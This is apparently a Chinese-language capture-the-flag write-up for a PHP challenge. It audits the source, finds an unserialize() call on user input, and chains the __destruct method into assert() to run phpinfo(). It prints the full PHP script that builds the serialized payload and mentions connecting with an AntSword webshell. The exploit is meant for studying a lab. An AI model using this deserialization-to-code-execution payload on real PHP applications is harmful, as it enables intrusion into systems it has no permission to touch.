打开题目
直接查看源代码
打开源代码发现了个./time.php?source
访问一下
审计代码:
现存在反序列化语句:@$ppp = unserialize($_GET["data"]);和执行漏洞:echo $b($a);
发现在__destruct()方法里面有 echo $b($a);
这个是php的特性,php可以通过这种方法动态调用方法。
思路很简单,只要把$b赋值为方法名字,吧$a赋值成调用的参数就行了。
payload
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
@$ppp = serialize($c);
echo $ppp;
?>
将得到的payload上传
发现成功了,于是可以用蚁剑连接,但是这个题目用蚁剑连接以后是空白一片,于是考虑可能是在phpinfo()里面
得到flag